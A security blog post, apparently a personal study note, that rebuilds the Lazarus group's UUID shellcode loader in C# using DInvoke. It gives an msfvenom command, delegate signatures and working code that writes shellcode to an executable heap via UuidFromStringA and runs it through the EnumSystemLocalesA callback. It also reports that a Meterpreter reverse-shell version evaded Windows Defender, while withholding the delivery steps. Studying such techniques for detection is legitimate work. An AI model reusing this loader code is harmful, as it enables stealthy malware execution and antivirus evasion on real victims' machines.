[ENG] UUID Shellcode Execution Implementation in C# and DInvoke
Disclaimer
There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding UUID shellcode execution and DInvoke. All of the content and code in this article is public, and could be found on the internet. All of the code in this article is a mere PoC quality code that really can’t be used in real world. UUID Shellcode Execution is a technique that I learned from NCCGroup's RIFT article and Jeff White's article. DInvoke is a technique created and published by theWover and FuzzySecurity (Ruben Boonen). Please refer to theWover’s blog post regarding the concept of DInvoke.
Summary & Introduction
While looking through /r/netsec, I came across an article from NCCGroup’s RIFT (research and Intelligence Fusion team) analyzing one of the loaders from the Lazarus group’s on-going operation. The loader sample was initially found by Check Point Research on Janurary 21st 2021. RIFT explains that the loader uses relatively unknown WinAPI calls such as HeapCreate, HeapAlloc, UuidFromStringA, EnumSystemLocalesA
to execute the shellcode. This is quite different from some of the well known API calls for example: NtQueueAPCThread, SetThreadContext, WriteProcessMemory, VirtualAllocEx, CreateRemoteThread
. This got my attention, and I decided to re-implement this loader into C# using DInvoke.
In this article, I’m going to re-implement the Lazarus loader PoC that RIFT created in C#, using DInvoke. While this was a pretty straightforward process, there were some struggles that I had to overcome due to using DInvoke. So let’s get right into it.
UUID Shellcode Execution
Before diving into the PoC right away, let’s learn how Lazarus’s loader was using UUID strings to execute shellcode inside the heap. Please note that materials in this section are based on the RIFT article and an article from Jeff White. If you want more detail regarding this technique, please refer to the Jeff White’s article. This is just my understanding of the technique.
Generally, shellcode injection and execution follow these steps:
- Obtain a handle to a process (local or remote)
- Allocate new region of memory to the process
- Write/Move/Map shellcode to the newly allocated memory region
- Execute the shellcode from the memory region using various methods
UUID Shellcode Execution follows these steps as well, but it uses some unfamiliar WinAPI calls to do so. For UUID Shellcode execution, the procedure is as follows:
- Create a heap object inside the local process
- Allocate some blocks of memory on the heap
- Using
UuidFromStringA
, convert an array of UUID strings into its binary representation. In this case, this "binary representation" is our shellcode. - Using
EnumSystemLocalesA
, specify the pointer to the heap as a callback function, so it gets executed whileEnumSystemLocalesA
is running.
The most interesting part is #4, which we specify the pointer to the shellcode as a callback function for EnumSystemLocalesA’s parameter. A callback function is a function/function pointer(A) that gets passed to another function(B) as a parameter. When function B is running, under specific condition or an event, the callback function A can be triggered and be executed.
To be more precise, the function syntax for EnumSystemLocalesA
is as follows:
BOOL EnumSystemLocalesA(
LOCALE_ENUMPROCA lpLocaleEnumProc,
DWORD dwFlags
);
From MSDN, the EnumSystemLocalesA() function “enumerates the locales that are either installed on or supported by an operating system.” After the locale information has been enumerated, it will execute the lpLocalEnumProc
callback function. However, in our case, we will hand over a pointer to our shellcode on the heap as lpLocaleEnumProc
. So when the locale information has been enumerated, EnumSystemLocalesA will just simply execute our shellcode.
Shellcode UUID Conversion
Before building the PoC, we first need to create the shellcode and convert it to a UUID string. For this, we will use python’s uuid module.
First, create a MessageBox payload with msfvenom.
msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="hello world" -f python
Then, use the following (crappy) python script that I came up with to convert the shellcode to a UUID string. Make sure to copy/paste the MessageBox payload inside the script.
One thing to note for converting shellcode to UUID string is that the shellcode needs to be in the multiples of 16 char/bytes, since the UUID string itself is 16 char/bytes. In our case, the MessageBox shellcode is originally 290 bytes, so we need to add 14 nullbytes at the end. This makes it 304 bytes, which is multiples of 16 bytes. I assume for more complex or sophisticated shellcodes, doing this might break the shellcode. So that’s something to be aware of.
Running the script, it will spit out a list of UUID string representation of our MessageBox shellcode.
(Screenshot is snipped)
Now that we have the shellcode in the form of UUID string, it’s time to build the PoC using DInvoke.
PoC with DInvoke
Since the RIFT article already has a C-implementation of the Lazarus loader, we will use that as a reference and build one with C# + DInvoke. For the PoC, .NET Framework 4.0 and the DInvoke Nuget package was used.
The final PoC can be found in this github repo (https://github.com/ChoiSG/UuidShellcodeExec)
First things first, let’s create the array of UUID string that was created with the python script.
Then we need to set some delegates to be used for the DInvoke.
public class DELEGATE
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize, UIntPtr dwMaximumSize);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
}
Usually PInvoke.net is a great resource for finding out the function signature for WinAPI. However, some API like UuidFromStringA
or EnumSystemLocalesA
are either incomplete or don't exist in pinvoke.net. In that case, we just have to look at MSDN, figure out what the function does, and try to recreate the signature in C# format based on some assumption.
Next, use DInvoke to find kernel32.dll
(HeapCreate, HeapAlloc, EnumSystemLocalesA) and rpcrt4.dll
(UuidFromStringA) from the PEB, and get a pointer to the DLLs. Then create function pointers for each winapi calls we are going to use.
<<< Correction: 3/4/2021 - Thanks to Github @Rcoll .
I made a mistake in this PoC for not using the HeapCreate + HeapAlloc combo - I was using IntPtr pHeapAlloc = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32,"HeapCreate");
instead of HeapAlloc. Stupid me, this was a mistake from my end.
However, trying to get the PoC working with HeapCreate and HeapAlloc was unsuccessful due to AccessViolationException. I tried debugging the problem, but was not able to solve it.
The solution I came up with was to drop HeapAlloc and just simply use HeapCreate. Since I'm a beginner in using unmanaged code like c/c++ (or winapi), I'm not sure why this works. I always thought you need to first create the private heap object with HeapCreate, and then allocate memory inside that private heap object using HeapAlloc.
If anyone knows about this, please let me know.
>>>
// Get pointer to DLLs from PEB
IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
// Function pointers for winapi calls
IntPtr pHeapCreate = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "HeapCreate");
IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");
<<< Correction: 3/4/2021>>>
After that, create and allocate the heap. Here, I tried to create the heap using HeapCreate and allocate some memory using HeapAlloc. However, I was getting accessviolationexception on HeapAlloc function, which I was not able to debug. When I just simply used HeapCreate, PoC was working fine.
I always thought that one need to use HeapCreate and HeapAlloc as a combo, based on the MSDN - "The HeapCreate function creates a private heap object from which the calling process can allocate memory blocks by using the HeapAlloc function". As I'm still a beginner in unmanaged code (and in memory management in general), I'm not so sure why HeapCreate + HeapAlloc combo is failing. If anyone knows about this, please let me know via Github's issue.
object[] heapCreateParam = { (uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero };
var heapHandle = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pHeapCreate, typeof(DELEGATE.HeapCreate), ref heapCreateParam);
// HeapAlloc not needed, and only produces accessviolationexception. Was not able to debug :(
//object[] heapAllocParam = { heapHandle, (uint)0, (uint)0x100000 };
//var heapAddr = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pHeapAlloc, typeof(DELEGATE.HeapAlloc), ref heapAllocParam);
After the heap is created, it’s time to move the shellcode to the heap. For this, UuidFromString
API will be used to convert the Uuidstring into its binary representation. Note that we are also moving the pointer to the UUID string on the heap by 16 bytes for each iteration.
IntPtr newHeapAddr = IntPtr.Zero;
for (int i = 0; i < uuids.Length; i++)
{
newHeapAddr = IntPtr.Add(heapHandle, 16 * i);
object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
}
After the shellcode is written, it’s time to execute it by providing a callback function (start address of our shellcode) as a parameter of EnumSystemLocalesA
function.
object[] enumSystemLocalesAParam = { heapHandle, 0 };
var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);
Again, the full PoC can be found in the github repo.
PoC - MessageBox
If we run the PoC, we get a MessageBox pop up.
Using Process Hacker, we can see the shellcode being written into the heap address of 0x1be00000.
PoC - Meterpreter
Let’s use a Meterpreter reverse shell payload for a full(?) PoC. For actually executing the PoC, in-memory execution through powershell, VBScript macro with Excel file, and a .HTA file was used. All of the weaponization will be skipped in this article due to its potential misuse.
Using some simple powershell commands and VBScript, it was possible to execute the PoC loader in-memory, while bypassing Windows Defender in Windows 10 (Version. 2004).
Conclusion
In this article, we went over UUID shellcode execution technique that the Lazarus group used in their most recent January 2021 operation. This was a great opportunity for me to learn an additional way to execute shellcode aside from the traditional VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread
. With the understanding of the technique, we also created MessageBox and Meterpreter PoC using C# and DInvoke. This also helped me to understand some WinAPIs and their implementation in DInvoke.
And that’s about it! I hope this article helps defenders to understand how the technique works, and help themselves to better defend against the on-going operation.
Happy Hacking!
References
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
http://ropgadget.com/posts/abusing_win_functions.html
https://thewover.github.io/Dynamic-Invoke/
https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-en umsystemlocalesa https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/dd317822(v=vs.85)